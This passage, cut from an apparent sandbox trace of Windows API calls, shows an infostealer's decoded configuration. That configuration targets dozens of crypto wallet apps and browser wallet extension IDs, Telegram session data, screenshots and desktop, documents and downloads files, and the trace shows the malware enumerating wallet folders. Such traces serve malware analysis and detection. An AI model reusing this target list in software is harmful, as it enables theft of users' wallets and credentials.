Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.187] lstrlenW (lpString="exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4397 [0266.188] LocalAlloc (uFlags=0x40, uBytes=0x22da) returned 0x6fc408 [0266.188] StrCpyW (in: psz1=0x6f9ac0, psz2="*partitio*,*cache*,*dictionar*" | out: psz1="*partitio*,*cache*,*dictionar*") returned="*partitio*,*cache*,*dictionar*" [0266.188] LocalFree (hMem=0x6fc408) returned 0x0 [0266.188] StrToIntW (lpSrc="26") returned 26 [0266.188] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.188] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.188] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="exodus" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\exodus") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\exodus" [0266.188] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6fc408 [0266.188] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf490 [0266.188] StrCpyW (in: psz1=0x6bf490, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\exodus" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\exodus") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\exodus" [0266.188] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\exodus\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\exodus\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e2092, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\exodus", cAlternateFileName="kk")) returned 0xffffffff [0266.189] LocalFree (hMem=0x6fc408) returned 0x0 [0266.189] LocalFree (hMem=0x6bf278) returned 0x0 [0266.190] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.190] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.191] LocalFree (hMem=0x6f4830) returned 0x0 [0266.192] LocalFree (hMem=0x6f7178) returned 0x0 [0266.192] LocalFree (hMem=0x6f9ac0) returned 0x0 [0266.193] StrStrW (lpFirst="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.193] StrStrW (lpFirst="atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension 